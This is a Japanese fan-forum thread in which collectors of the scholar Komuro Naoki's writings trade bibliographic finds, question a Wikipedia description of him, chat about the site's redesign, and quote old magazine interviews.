「おぉ、なんだ、こんな本にも書かれているのか?」
と、閲覧者が思わぬ発見なされるかもしれないかな、と思いまして。
飽きもこないでしょうし。
トップページのこれは開くたびに違う文献の画像がでるのですね。
それにしてもなんでそうなったのでしょうね。理由が知りたいですね。
>いえ、「先生は、フェミニストでいらっしゃいますね。」とかなんとかいわれたような気がしただけです。ちょっと調べる時間がありません。なるほど、そういうことですか。
そういう内容の対談者の発言、私も見たような気がします。
2の「女性に優しい男性」という意味ですね。相手は女性だったはずですが、どの対談ですかなぁ…。
こうなってくると完全に小室直樹文献収集マニアのオタク話に突入ですなぁ(笑)。
>とおっしゃる小野寺さんに解決していただくしかないですな(笑)。いえ、「先生は、フェミニストでいらっしゃいますね。」とかなんとかいわれたような気がしただけです。ちょっと調べる時間がありません。
仮にそういわれたことがあったとしても、冗談半分です。いずれにしても、あのようなHPに記載する根拠はありませんね。
情報ありがとうございます。
以前見たときはもっとアッサリした内容だったような気がしたのですが、まさに気のせいかもしれません。>ウェブ上の百科事典ウィキペディアの記事なのですが、「小室直樹」と検索すると情報が出てくるまではいいのです。
いつどこでどうしたという点では、
(歴史的)事実の記載として正しいのでしょうが
(それはこのウェッブサイトの「年譜」にも掲載してあります)、
小室直樹博士の実績についての記述について内容が薄いのが残念です。ただ、小室直樹博士の研究の範囲はあまりに広いので、
あの程度の文字数ではまとめにくいだろうなぁ、
だからやむをえないだろうなぁ、と思います。
「お前にできるのか」といわれたら、
「うーん…」とうなってしまいますよ。そういうことは10年にわったって直接師事なされた橋爪先生あたりにお願いしないと(笑)。
>気になるのが、最後の最後、「フェミニストである。」という言葉。小室先生はフェミニストを自称されたことがあるでしょうか?あるいはそういう言説がありますでしょうか?誤った情報であれば修正の報告をしなければと思いますが。小室博士が「フェミニスト」とは、これはまたどういうことでしょう。
しかも、わざわざ最後に。
うーん。
私自身はそういう印象をもっていません。日本語で「フェミニスト」といったら、
1.(学問的に)男女同権論者、
2.(日常会話で)女性に優しい男性
という2つのつかい方がありますでしょう。ウィペディアは「辞書・辞典」でしょうから、
この記事をかかれた方が「フェミニスト」と書かれたときには、
1の意味で「フェミニスト」と書かれたはずですな…。私が思うに、
小室直樹博士が男尊女卑の女性蔑視者でないことは確かですし、
学問的にも男女同権を否定されてはいないでしょうが、
「フェミニスト」と呼称されるほどの活動はされてないと思います。だいたい1の意味でのフェミニストっていうと、
田島陽子さんとか福島瑞穂さんのような人でしょう?
すなわち、通常は差別される女性の男女同権論者が「フェミニスト」だって呼称されると思うんですけどね。
「フェミニスト」に詳しくないので自信はありませんが。小室直樹博士はまがうことなき男性ですからなぁ…。
↓この雰囲気って1の「フェミニスト」っぽくないじゃないですか。
1984040 「舌なめずりの抱擁」『Beppinn』6月デビュー号(1984年、英知出版)より。
いや……
そうすると、ウィキペディアのあの「フェミニスト」ってのは「女性に優しい男」ってことでしょうかなぁ??
そうだとすると、正しいってことになりますが。
もうこうなったら、
>昔の対談などの中で小室先生がフェミニストであるような印象をうけるものがあったように思います。
とおっしゃる小野寺さんに解決していただくしかないですな(笑)。
児島高徳さん、こんばんは。おもしろいですね。そしてこのサイトが紹介されているのもいいですね。
正確な記憶ではないですが、昔の対談などの中で小室先生がフェミニストであるような印象をうけるものがあったように思います。
皆さんこんにちは、児島です。気になるウェブページが見つかったので報告します。
ウェブ上の百科事典ウィキペディアの記事なのですが、「小室直樹」と検索すると情報が出てくるまではいいのです。
気になるのが、最後の最後、「フェミニストである。」という言葉。小室先生はフェミニストを自称されたことがあるでしょうか?あるいはそういう言説がありますでしょうか?誤った情報であれば修正の報告をしなければと思いますが。
>では私が変わりに愛媛にいってのんびりしましょうか。私はそういうのが理想です。親孝行も変わりにいたします。(笑)「どちらさまでしたか」というのが口癖で、
ときどき消しゴムを食べたりとやんちゃで冗談好きな親ですが、
どうかよろしくお願いします。
>私はずっとこのHPを見続けることがよくあります。そういっていただけると、HP作成者冥利につきます。
>だから前の色が悪いとわけではないのですよ。ほんとの真っ黒だと暗くなりますがね。
しかし、確かに明るすぎると目が疲れますね。明るすぎるようだったら、また多少色を濃くすれば良いですよね。そうですね。
ただ、今は抑圧されていたHP作成意欲が、
ここに来て一気に放出されているみたいで…。
多少、躁気味ですな(笑)。
改装しきったら意欲も薄れ、また音沙汰がなくなるかもしれません。
いわゆる欝ですな。
>ホワホワのんびりしてしまいそうで、こわいのですなぁ。では私が変わりに愛媛にいってのんびりしましょうか。私はそういうのが理想です。親孝行も変わりにいたします。(笑)
>目が疲れるほど何時間もこのHPの画面を見るわけじゃないですよね。
私はずっとこのHPを見続けることがよくあります。だから前の色が悪いとわけではないのですよ。ほんとの真っ黒だと暗くなりますがね。
しかし、確かに明るすぎると目が疲れますね。明るすぎるようだったら、また多少色を濃くすれば良いですよね。
予告の新規小室文献です。「第四章 社会行動論と法社会学」
『現代法社会学講義』(黒木三郎編/青林講義シリーズ)http://www.interq.or.jp/sun/atsun/komuro/1958-1980/1976004.html
☆ひがのさんへ
(おぉ…、「☆」を打ち込んだとたん、HPを立ち上げてすぐ、この掲示板で返事を書いていた頃を思い出しました。最近このHPをいじると懐かしくって仕方ないですわい。)情報ありがとうございます。
おかげさまで当ウェブサイトは掲載情報量が多いため、
既掲載情報かどうか判別できにくい場合もあると思います。
気になさらず、気がつかれた情報がありましたら、
どしどし書き込んでください。
ちなみに、その情報は、
1987014『プレジデント経営大学院』「『常識』を覆した勝者たち 小室直樹」
ですね。
☆児島高徳さんへいつも本当にたくさんの情報ありがとうございます。
ご感想、ありがとうございます。
実はそういうご感想を待っておりました!
「おぉっ」と驚いていただき、嬉しくなりました。>ウェブの知識に関しては素人なので、どこがどう、ということは言えませんが
フレームによる画面分割から、
近時一般化(通俗化?)してきたテーブルによる画面分割にしてみました。>年代別の「文献目録」にアクセスしやすくなったのは利便性が増したように思います。
確かにこれまでは二度手間でしたからなぁ。
聖書からのお言葉、ありがたく拝聴いたしました。
熟練が生み出す、軽薄な単なる願望とは異なり、
望めば必ずかなえられるということでしょうか。
今は「忍耐」ですよ、と教えられた気がします。
どうもありがとうございます。聖書の言葉で、いま、ふと思ったのですが、
橋爪先生の「言語派社会学」は、
「初めに言葉ありき」にインスピレーション受けたりしてないですかねぇ。
☆小野寺さんへわたしに代わって情報の管理ありがとうございます。
ほんと助かります。整理の手間が大幅に減りました。
それにしても、小野寺さんの小室文献にかける情熱には、
もうタジタジです。先日いただいた、新規文献をアップしました。
小室直樹の経済思想ゼミナール特別編 古典派とケインズに影響を与えた政治モデル
>もし、だめだったら、田舎で試験勉強して、文献も集めるってこともできるかもしれませんよね。まぁ、確かにそうですね。
>関東でしか手に入らないものがあったらお届けに伺います。
>ただ、私が愛媛に遊びに行きたいだけです(笑)愛媛は温和でいいところなんですよ。
しかし、いいところであるがゆえに、
ガツガツした気持ちがいつの間にか消えて、
ホワホワのんびりしてしまいそうで、こわいのですなぁ。そういやぁ、愛媛には故坪内寿夫という傑物もおりました。
>それと、バックが黒から明るい色へ。いいですね。前に背景などを暗くしていたのは、
「明るい画面だと目が疲れるだろう」
と思ってのことだったんです。が、
よく考えたら、いや、よく考えるまでもなく、
目が疲れるほど何時間もこのHPの画面を見るわけじゃないですよね。
ははは…。http://www.interq.or.jp/sun/atsun/komuro/2001-2005/2003019.html
お久しぶりです(ほんとは久しくないですが(笑))
発表は、まだだぴょん!もし、だめだったら、田舎で試験勉強して、文献も集めるってこともできるかもしれませんよね。関東でしか手に入らないものがあったらお届けに伺います。
ただ、私が愛媛に遊びに行きたいだけです(笑)それと、バックが黒から明るい色へ。いいですね。
私も最近転勤して、前任者が使っていたパソコンのデスクトップが真っ黒で、気がめいったので明るくしました。やはりこのほうがいいでしょう。でも、一番最初のもなかなかセンスいいですよ。ああしばらく私の名がここから消えてよかったのにまた書き込んでしまった。どっかの掲示板でへんなこといわれなきゃいいけど(笑)
村上さん児島です。大改装、お疲れさまでした。
アクセスしてみて、思わず「おぉっ」と驚いてしまいました。
ウェブの知識に関しては素人なので、どこがどう、ということは言えませんが年代別の「文献目録」にアクセスしやすくなったのは利便性が増したように思います。村上さんのご将来のこと、私も案じております。
特に何も出来ませんけれども、小生、これでもキリスト者ですので、なすべき道が示されますよう、お祈りしております。
「患難は忍耐を、忍耐は練達を、練達は希望を生み出す。そして希望は失望に終わることは無い。」ロマ書五章3-5節
すでにありましたね。ごめんなさい。
プレジデント社の「ビジネス能力開発講座 組織力」というのを入手しました。E−6とあるので本来セットものかもしれません。価格も発行年月もありません。内容はビデオ一本と冊子です。冊子に小室直樹先生の文章があります。「常識」を覆した勝者たち 64−80ページまでです。とりあえずお知らせまで。
もう、ご存知だったでしょうか。文献を確認してません。ごめんなさい。
暗くなりがちな気分を払拭すべく(笑)、
明るいウェッブサイトに変身させました。ちょっと明るすぎますかね?
ま、最初はなれないと思いますが、
コンテンツ自体は変わっていませんので、
今後ともどうぞよろしくお願いします。リンク切れ、タグミスなどは発見次第、修正していきます。
さて、立ち上げ当初のこのHPが
どんな感じだったのかというとですね、
↓こんな感じだったのです。
http://www.interq.or.jp/sun/atsun/komuro/index.htmうーん、あか抜けてないですねぇ…。
ではでは。
団長!どうもありがとうございます。
なんどもエールを送ってくださった方とお見受けいたします。
なかなか人生、思い通りいかないものです。
初心貫徹のためには、
まずは、第二次家(イエ)戦争を闘い抜かねばなりません。
お金は苦力のような日雇いでもして稼ぐっていってるんですが。「イエ」とはまた古いですが、保守的なド田舎ですからあるんです、まだ。
わたし自身、村上家(系)が途切れないように村上家に養子にもらわれて、
●×から村上となったという事実がその存在の証左となりましょうか。あまりにもイエの反対が激しかったら、
親に勘当を言い渡してしまいましょうかなぁ。
逆?
村上君、くじけるな。七転八起、初心貫徹。いつか陽の当たることもあるだろう。それまでファイト一発だ。
文献目録、改訂しました。http://www.interq.or.jp/sun/atsun/komuro/1958-1980.htm
http://www.interq.or.jp/sun/atsun/komuro/1981-1985.htm
http://www.interq.or.jp/sun/atsun/komuro/1996-2000.htm
http://www.interq.or.jp/sun/atsun/komuro/2001-2005.htm
それはそうと、
ヤフオクでよさげな出品がありました。
http://openuser2.auctions.yahoo.co.jp/jp/user/ibuki3140
確か、前の出品のときの商品説明によると、
この方の小室直樹関係の出品は委託を受けられての出品で、
所有者は別の方だったように記憶しています。
小室直樹ビデオセットなどを出品なされた方ですよね。短期間に希少小室本を多数出品されておられるということからすると
所有者の方には何か事情があったのだと思われます。
もし不本意に手放されるのだとしたらつらいでしょうなぁ。
きっと相当苦労して集められたはずですから。どうかがんばってくださいね。
と、知らない方にメーッセージ。
とても人ごととは思えません(笑)。私も希少小室本が2冊以上あれば放出していたところですが、
すでに放出済みでして…(涙)。
最近は小室本も古本市場ではダブつき気味のようですな。
オークションでの落札価格も、高いといえば高いですが以前に比べると安くなりました。
「小室本は高く売れる」というのは昔の話になってしまいましたね。EasySeekにて「小室直樹」で検索したら、
450件を超えてますからなぁ。
とりあえず、個別文献のページ作成終了です。
あぁ、お腹すいた。http://www.interq.or.jp/sun/atsun/komuro/2001-2005/2004002.html
ロシアチョコレートさん、ありがとうございました。キリスト教といえば、
私、ドミニコ会の神父さんから洗礼を受けようと真剣に考えていた時期がありました。その神父さんがすばらしい人格者でしたもので。数日前映画『パッション』見てきたんですが、
とても痛かったです。
いわゆる「イタイ」ではなく、本当に「痛い」。
映画館でおばあちゃんが心臓麻痺を起こすのも無理ないです。でも、せっかく復活するなら、掌の穴も直しゃあいいのに。
あ、これは礼儀をわきまえない相当不謹慎な発言ですかな。
懺悔しなくちゃ(笑)。http://www.interq.or.jp/sun/atsun/komuro/2001-2005/2004003.html
もう少しで個別文献ページの作成が終わります。さて、「巨匠」といえば…
「黒沢」を連想した人。
→あなたは映画ファンですね。『七人の侍』はもちろんですけど、『生きる』もいいですよね。「芹沢」を連想した人。
→お主、スケベよのぉ…。ふぉっふぉっふぉっ。あ、くしくも両名「沢」がついてますな(笑)。
http://www.interq.or.jp/sun/atsun/komuro/2001-2005/2004001.html
これ、ISBNが記載されていないんです。
流通にはのせなかったんですかね。パーティー会場で配るような、そういう企画本だったのかもしれませんな。
図書館流通センターの検索にもひっかかりませんし、
国会図書館のOPACにもひっかかりません。(後で気がつきましたが、先ほど紹介した販売ページに「書店では販売していない」と書いてありますね。)
http://www.interq.or.jp/sun/atsun/komuro/2001-2005/2002029.html
小野寺さん、情報ありがとうございました。森田拳次さんの絵を見ていると、
「一番のスケベは坊主と教師」
を思い出しますね。http://www.interq.or.jp/sun/atsun/komuro/recommendation/1987203.html
「資本主義はその失敗ゆえに破綻する」(マルクス)
「資本主義はその成功ゆえに滅亡する」(シュンペーター)http://www.interq.or.jp/sun/atsun/komuro/2001-2005/2003020.html
井上さん、わっはっさん、児島高徳さん、小野寺さん、
情報ありがとうございました。カセットって小さくってかわいいですね(笑)。
http://www.interq.or.jp/sun/atsun/komuro/2001-2005/2004004.html
uukkさん、どうもありがとうございました。
この文献は実に面白く、興味深いですなぁ。この書籍からわかる小室直樹博士の人間関係ということでいえば、
司会の加藤栄一氏とは後に対談されています。
また、パネリストの加藤龍樹氏はおそらく加藤千幸氏のことだと思いますが(違うかな?)、
後にその著書の解説を書かれておられます。しかし、今の私の胸にグサリと刺さる書名です(苦笑)。
http://www.interq.or.jp/sun/atsun/komuro/1958-1980/1980015.html
いっちょあがり。http://www.interq.or.jp/sun/atsun/komuro/1981-1985/1983035.html
個別文献ページのアクセスランキング、
「黒木香のおスケベ対談」が断トツじゃないですか…。「確かに小室直樹博士は一時
いわゆる『ビニ本』所有を公言する大学者ということで
マスコミで話題にはなったみたいだけれど、
でも、小室直樹ファンもまた『おスケベ』で黒木香ファンなわけもないだろうし…。
おかしいなぁ。」と思って、よくよく考えてみたら、
「黒木香」の方でググッてアクセスした人の数もカウントされているんですな。
ははーん(古い表現ですかな)、そういうことかと納得した次第。そのうち、永久1位ということで、
ランキング表から外すかもしれません。ちなみに、例の未登録の論文タイトルは「社会行動論と法社会学」だそうです。
法社会学講座での一連の論文を想起させるタイトルですね。
http://www.taiyoo.com/book/zenshigoto/
『竹村健一全仕事』
「マクルーハンの世界」の対談を収録しています。
「あれ?前に似たようなのがあったなぁ」と気づかれた方。
さすがです。http://www.interq.or.jp/sun/atsun/komuro/1991-1995/1995010.html
『竹村健一全仕事 マルチ研究』
こちらはマスコミ生活40周年記念。上のは50周年記念だそうです(笑)。
はてさて、60周年記念は出るか出ないか?!
最後の1つは、また私の手元にないのですが、
1970年代の論文だと思われます。
届きましたら、ご報告します。
未報告文献の件です。
1つはこれ↓です。残念ながら品切れとのこと。
司法試験の短答で合格推定点に及ばず。
こりゃほぼ確実に×です。
![]()
横山たかしのあの芸風は実はあまり好きではないのですが、今の気持ちにピッタリ。
はてさて、どうしようぉ〜〜〜。
はてさてふふぅん、はてふふぅん。実家の側からは「田舎に帰れ」案も強烈に浮上中。
「これ、よもだでいいよるんやないんよ(伊予弁)。」
しかし、そうなると小室直樹文献の収集が困難になるしなぁ…。
また、そうなると会いたかった人にも会えなくなるなぁ…。愛媛出身の有名人も少ないし…
横山たかしでしょ、
村上ショージでしょ、
大木凡人でしょ、
しょ、しょ、しょ●い…(ごめんなさい)。
それに比べて、福岡はうらやましいばい。なーんてのん気にいってますが、結構まいってます。
ま、まいってても仕方ないので、
たまっていた文献目録の改訂をしながら考えてみますか。
(小野寺さん、ありがとうございます。助かりました。)
実は掲示板に発表されていない未登録文献も2点あり。乞うご期待!
あぁ、はてさてふふぅん、はてふふぅ…ふぅ〜。
管理者殿、失礼いたします。
さて次の通り東京裁判をディベートで再現しますので、ご案内いたします。
本年はさらに研究を重ねて東京裁判を再現します。名演劇、映画を見たよ
うな感動と知的興奮を、ぜひとも味わっていただきたいと思います。■日時 平成16年7月17日(土)
■場所 千代田区公会堂 無料
〒102-0074 東京都千代田区九段南1-6-17・03(3261)1775
地下鉄・東西線、新宿線、半蔵門線「九段下駅」下車4番出口■プログラム(9時30分開場・9時40分あいさつ)
◆午前の部(〜11時30分)ディベート討論会
論題『東京裁判は正しい裁判だったか否か』
◆午後の部(12時30分〜午後4時)
『再現・極東国際軍事裁判』
★東京裁判をディベートで再現する★
★歴史上空前絶後のディベートはいかに戦われたか★
(1)歴史上空前絶後のディベートだった東京裁判を再現する。
(2)キーナンと検事団VS清瀬一郎と日米弁護団、両者のすさまじい討論を再現。
(3)戦後日本人を呪縛する東京裁判史観との決別はこの裁判の克服にある。
☆仮想討論『大東亜戦争は勝てたか否か』■申 込 先
〒108-0074 東京港区高輪3-25-35-702 日本ディベート研究協会
TEL 03-3441-8120
FAX 03(3441)8393
メール kitaoka@japandebate.com
「危機の構造」は、1976003、1982005、1991001という3つがありますが、どれも一般向けに出版したものです。もとは次の日本研究賞を受賞した学術論文です。しかし、その論文は、このサイトには報告されていません。新聞記事に要約があるのみです。私も毎日新聞にメールで問い合わせたことがありますが、いまだに回答がありません。
どなたか、その論文をお持ちか、所在がわかる方がおられましたら、教えてください。1975008 日本の選択 毎日・日本研究賞 喜びの入賞者 「危機の構造」小室直樹(政治学者) 毎日新聞 2/7朝刊 13面
1975009 日本の選択 入賞論文の要約(下) 危機の構造 毎日新聞 2/16朝刊 12面
http://www.interq.or.jp/sun/atsun/komuro/1958-1980/1975009.html
>「大阪大学大学院人間科学研究科紀要」第27巻、2001年3月所収
構造―機能理論の危機そして没落からの克服
で、以下の論文を参考文献に挙げていました。
http://www.hus.osaka-u.ac.jp/common/bulletin/027/!27-9_NA.PDF
会員番号1259さん、こんにちは。
これについては、過去ログ[3047]で取り上げられております。この目録では、仮番号2001134となっております。
http://jp.y42.briefcase.yahoo.co.jp/bc/quarrymen500/また、なにかお気づきの点がありましたらよろしくお願いいたします。
「大阪大学大学院人間科学研究科紀要」第27巻、2001年3月所収
構造―機能理論の危機そして没落からの克服
で、以下の論文を参考文献に挙げていました。小室直樹,1966a,「社会動学の一般理論構築の試み(上)」『思想』1966年10月,14頁.
小室直樹,1966b,「社会動学の一般理論構築の試み(上)」『思想』1966年10月,14頁.
小室直樹,1967,「機能構造分析の原理――社会学における一般分析理論構築の準備――」『社会学評論』第71号,第18巻3号,22―38.
小室直樹,1969,「機能分析の理論と方法――吉田理論からの前進」『社会学評論』第77号,第20巻6―22.http://www.hus.osaka-u.ac.jp/common/bulletin/027/!27-9_NA.PDF
>「小室先生の研究を元に構成した節」(と、明言されていましたが、もしかしてp20の注(4)のところでしょうか。
引用します。
「要件分析という概念を明確に主張したのは小室直樹(小室,1969)である。拙稿(棚瀬,1978)では、この議論の批判的な吟味を行った(本章の下敷きになっている)。」もし、これだとすると、棚瀬という人は要件分析という概念についての議論の批判的な吟味を1978年の論文で行ったと、そしてその論文はこの第2章「機能主義と行為分析」の下敷きになっていると。一方小室先生は、要件分析という概念を明確に主張したということで、この章は、主に小室先生の
1969003 機能分析の理論と方法―吉田理論からの前進― 社会学評論 日本社会学会 77 6-22
に対する批判になっているのではないかということですね。よく読んでみましょう。
とすると、もとの1978年の棚瀬さんの論文も関連文献になるかな。
>「小室先生の研究を元に構成した節」(と、明言されていましたが、弘労秀彦さん、こんにちは。ちょっと教えてください。
上記のように「明言」したのはどなたですか?
それはこの本の20頁、169頁、258頁以外のところに書いてあるのですか?
82年ではなく82号のようです。「電話に見る非近代性 われら"ダンコ派"宣言」
Number 文藝春秋 1983.9.5 82号 p44-45
さきほど届きまして、今きいています。音質いいですなあ。さすがラインどり。これ自体が「カセツト受講」となっていますからいいはずです。私はいけませんでしたが、いってもいかなくてもこのカセットは貴重な資料です。私の目録にはいれておきました。
>ディベート大には、小室先生はよく来てるのでしょうか?
次の四月二十四日、二十五日の会には来ますでしょうか。昨年からの一連のディベート、極東裁判、日本経済、拉致問題のときにはこられて10分くらいのお話をされました。また、会員向けには2回にわたって経済学の特別講義をされたようです。ホームページをよくご覧ください。先生がこられるときはその旨掲載されると思います。
詳しくは直接お尋ねになったほうがよろしいかと思います。ただ、先生目当ての参加や入会が露骨だとしかられるかも。(笑)
それと一昨年まではリバースアカデミーの活動にも参加され、講演を行ったり、校長と共著で本をだしたりしていましたね。本掲示板過去ログや文献目録をご参照ください。
ディベート大には、小室先生はよく来てるのでしょうか?
次の四月二十四日、二十五日の会には来ますでしょうか。
>質問です。
小室直樹さんに弟子入り、もしくは接点を持つには、東京大学に入るしかないのでしょうか。自分の志望校は慶応か早稲田か中央大です。答えて頂けると嬉しいです。よろしくお願いします。としやきさん、はじめまして。
私の知る限り、先生は現在特定の大学に属しておられないようですから、どこの大学に入れば接点をもてるということにはならないと思います。2002年までは、駿河台大学大学院で客員教授をされていましたが、定年で辞められました。
現時点の情報で先生が接点を持っておられるのがディベート大学で、その催し物にはよく参加されていますから、会員になればお会いする機会は多いかもしれません。http://www.japandebate.com/
また、つい2日前には横浜で講演会がありましたが、そういうところに参加されて直接お話をしてはいかがでしょうか。私は二年前憲法関係の講演会場で直接あいさつ程度のお話はできましたが、弟子にはなれませんでした。(笑)
それから東工大に入って橋爪先生と接点をもつか都立大に入って宮台先生と接点をもつというのはどうでしょうか。
質問です。
小室直樹さんに弟子入り、もしくは接点を持つには、東京大学に入るしかないのでしょうか。自分の志望校は慶応か早稲田か中央大です。答えて頂けると嬉しいです。よろしくお願いします。
Number 1982.9.5
小室先生のご講演『イスラム教とキリスト教』に参加しました。基本的にはこれまでの書籍内容と同様なご説明でしたが、小室先生のお元気な姿を見ることが出来ました。
講演内容はカセットもしくはCDにて購入することもできると思うので、興味のある方は横浜市民講座のホームページを検索・問い合わせしてみてはいかがでしょう。
2000010 ビデオ「三島由紀夫歿後30年追悼会 第31回 『憂國忌』」
には、DVDとCD(Quick time playerによる映像と音声)がでています。
http://www.nippon-nn.net/mishima/koza/movie.htmlちなみに
1998002 講演ビデオ『小室直樹・日本人のための資本主義原論』
には、カセットがありました。
こんにちは。
副島隆彦先生の最新刊で、小室先生について語られている個所がありましたので報告します。
詳細は以下のとおりです。署名:やがてアメリカ発の大恐慌が襲いくる
著者:副島隆彦
出版社:ビジネス社
定価:税込1,575円該当ページ:p158-161
(転載貼り付け始め)
小室直樹だけが指摘したシュンペーターの重要性私は、かつては、尊敬していたミルトン・フリードマンにも、この何年かで失望した。
「マネタリスト(monetarist)経済学」を自分で創造したに等しいシカゴ学派のフリードマンの経済理論は、ケインズ経済学の欠点を批判して、それを乗り越える理論であると信じ込んでいた時期が私にもある。
しかし、それも嘘であった。[中略]これ以上のことは、今は、ここでは書けない。
だから、やっぱり、今、他の誰よりも、経済学者としては、ジョゼフ・シュンペーターが一番大切なのである。シュンペーターの書いていることが、今の私たちの置かれた現実に対する議論の枠組みとして、一番、しっかりしている。
実は、日本でシュンペーターの凄さをはっきりと知っている学者がいる。それは、私の先生でもある、小室直樹博士である。小室直樹だけが、シュンペーターの投げかけた問題の重要性を知っている。そしてそれが、今の日本とアメリカにとって、きわめて切実であることを見抜いておられた。
10年ほど前から、小室先生は、「今こそ、シュンペーターを勉強しなければならない。シュンペーターこそが重要である」と盛んに言い始めた。私は、このことに最近、深く思い当たる。さすがに日本で天才学者と呼べるのは、小室直樹だけである。あとの人たちは、もういいよ、というのが私の本音である。http://product.esbooks.co.jp/product/u/03/02
(転載貼り付け終わり)YellowMagicです。
なんか久しぶりに小室先生のことが書いてあったよ〜な気がします。
副島先生は『預金封鎖』を出版してから一気にメジャーになった感があるので、今まで以上にガシガシ小室先生について書いてほしいところです。
それでは失礼します。
こんばんは、村上さん。
たしかに小室サイト作りは面白いですよね。
私も今年の夏で小室ファミリーズ6年目に突入です・・。
最近刺激がないので、思い切って掲示板一個と言う構成にしてみました。
昔の掲示板ログとかご覧になりたい方は、ウェブアーカイブ
http://web.archive.org/web/20020624172217/
http://web.archive.org/web/20030606141629/
を参照してください。ほぼ100%、読めると思います。いつまで読めるかは知りませんが。。では、ストレス解消になる程度に、またお姿を拝見できることを願いつつ。
FITOMAROさん、ごぶさたしております。
いつぞやは、せっかくメールいただいたのに、
お返事できなくってすみません。
こっちは限界ギリギリですが、
何とかやっております。上のリンク、変えておきました。
小室ファミリーズ、スタイルを一新するようですね。
何でも掲示板の過去ログも無くなってるみたいですし。実は…
文献アクセスランキング作成のため、
ご飯も食べずに半日PCの前に座って無理をしたせいでしょう。
わたし、風邪をひいて寝込んでしまいました。いけませんなぁ。
やっぱりHPいじりは止めた方が良いようです。
とほほ…。
それはそうと、
弘労秀彦さんはじめ、文献情報書き込んでくださる方、どうもありがとうございます。
改訂などで対応させていただきたい気持ちもあるのです。が、
自分でつくっておいてなんなんですが、
このサイトに関わり始めると阿片のように(もちろんためしたことはないですが)抜け出せなくなってしまうので、
やりたくってもできないのです。
すみません。
やっぱり、
収集欲をかきたてるだけの魅力がありますからなぁ。
小室直樹文献には。ただ、
ま、値段はともかくとして、
スーパー源氏やら日本の古本屋やらオークションやらで、
小室本がこれだけ出品されているので、収集しやすくはなってますね。かなりな希少本(↓この辺ですかね?)
http://www.interq.or.jp/sun/atsun/komuro/1981-1985/1981006.html
http://www.interq.or.jp/sun/atsun/komuro/1958-1980/1976003.html
http://www.interq.or.jp/sun/atsun/komuro/1981-1985/1982005.html
http://www.interq.or.jp/sun/atsun/komuro/1981-1985/1981035.html
http://www.interq.or.jp/sun/atsun/komuro/1981-1985/1984015.html
http://www.interq.or.jp/sun/atsun/komuro/1958-1980/1980012.html
http://www.interq.or.jp/sun/atsun/komuro/1981-1985/1981003.html
http://www.interq.or.jp/sun/atsun/komuro/1981-1985/1982001.html
http://www.interq.or.jp/sun/atsun/komuro/1981-1985/1981007.html
以外であれば、
白装束で八十八ヶ所"ブックオフ"巡礼の旅に出る必要はなくなりました。
♪ギャーテーギャーテーハーラーギャーテーハラソーギャーテーボージーソワカー♪
ハンニャシンギョー……チンッ!では、また。
村上さん何とかやっておられるようで何より(?)です。
もう少し早く村上さんの再来に気付いていれば・・・
上の特別リンクのURLを
http://cgi.members.interq.or.jp/gold/stock/king/bbsking.cgi
に変えてもらえたかもしれないのに・・残念!!
お久しぶりです。
パーソンズの構造-機能分析を早いうちに、正確に伝えたのが小室先生ということで、タルコット・パーソンズの生誕百年を記念して刊行された本書に先生のお名前が出ています。『パーソンズ・ルネッサンスへの招待 タルコット・パーソンズ生誕百年を記念して』
富永健一/編著 徳安彰/編著。勁草書房。2004年3月発売。4,200円。索引によれば20頁、169頁、258頁に「小室直樹」とあります。
書店店頭で見かけただけなので詳しくは読んでいないのですが、「小室先生の研究を元に構成した節」(と、明言されていましたが、詳しくは分かりません)があるようです。
情報がお役に立てば幸いです。
村上さん、こんにちは。>「ね、ちょっとお話しましょう」
の雰囲気に抗しきれなくなくなりました(笑)。勉強のじゃまをしてすみません。
>↑これもあわせて読んでもらって、博士の名誉を回復しないと。
>たしか「博士は怒っているんだゾーッ」の見出しの辺りでしたね。引用ありがとうございます。私のもっているコピーでは真ん中が開きが悪くて写ってないところがあるので助かりました。
>この頃は週刊誌がアル中気味の小室直樹博士に対して、
お酒を飲ませて、酔った勢いで色々しゃべらせて、
おもしろおかしく記事にした時期ではないでしょうか。テレビも雑誌もよってたかって先生を利用しました。
1984021なんかもよくみると女性たちの働くお店の宣伝が目的でしょう。>ある意味、私がもっとも衝撃をうけた小室直樹文献ですね。
当時この記事を真剣に読んだ人が私以外に何人いたでしょうか。
先生はもともと女性を買うのはお嫌いだといっていますが、この記事の最後はきちんと相手を分析しておられる。
引用します。
「彼女たちが自分の意志でやっているのなら、私は否定しない。アッケラカンとしているし、じつに健全とさえいえるんじゃないか。それに彼女たちは日本の知識人とほとんど変わらない知性をもっている。これは素晴らしいこと。なにしろ僕と対等に対決したんだから。」>それに「君は象みたいに可愛い」ってねぇ…。
なんかサミュエルソンの「馬にもわかる経済学」ということばを思い出してしまいます。
>この記事、コピーを申し込むのにちょっと躊躇してしまう写真が載ってます。
私は全く躊躇しません。小室先生の文献を追うときはいっさいの雑念が入る余地はありません。全身全霊を傾けます。(笑)
>それに比べて、小室直樹博士の「ヤング大学」を連載なされた集英社はえらい!
ヤング大学参加したかった!
>この頃の「週刊プレイボーイ」は、
たしか島地さんが編集長をされておられたはずですから。なるほどねえ。
>この辺りも、私が小室直樹文献収集にはまり込んだ所以かもしれません。
私もです。単なる優秀な学者で終わってしまわないところが魅力なんです。だから学者でもない私のようなものが文献を追い続けるわけです。このような例は他の学者ではちょっと考えられないでしょうね。
見つかりました。整理番号1984023『PB政治学博士』のハード・コア放談
小室直樹が独断する “ポスト中曽根”はこいつだ!(以下、記事の冒頭部分を引用)
小室直樹ハカセはネリマ区の住人で、石神井台のボロッチィ、アパートのババッチィ6畳ひと間に居住している。廊下に立つとその部屋からグデングデンに酔っ払ったハカセの雄叫びが聞こえてきた。「おめでとーございます」といっても「ダマされたァ」と叫ぶだけ。週刊P誌とトルコ嬢にハカられたんだそーだ。でも、84年度日本政治状況をきく前に、ハカセの初春チン談から。博士は怒っているんだゾーッ
ドアをあけると小さな小さな玄関で、それはどーでもえーのだけれど、その6畳の立方体の空間は本、本、本、また本の3次元で埋められ、人間が生息できる空間はというと、デスクの前と、テン・サウザンズ・イヤーズ・ベッド(万年ベッド)しかない。
小室直樹ハカセ―かしこくも東大で法学博士号を得ていらっしゃる―は、その万年ベッドでウィスキーをかっくらい、正月早々、泥酔のアリサマ。
PB ハカセ、いかがなされましたか?
ハカセ 「君は週刊P誌をみたか?」
PB イーエ、あんまりカンケイないもんで。
ハカセ 「実は去年の暮れ、ボクは週刊P誌の企画で、トルコ嬢たちと話したのだよ」
PB ははぁ、冬眠のクマとメスギツネの座談会。エゲツないですなー。
ハカセ 「エゲツないのは座談が終わってからだよ。P誌の記者が、先生は独身だし、相手はいるし、どーですかというんだな」
PB ハカセのことだからノッたんでしょ。
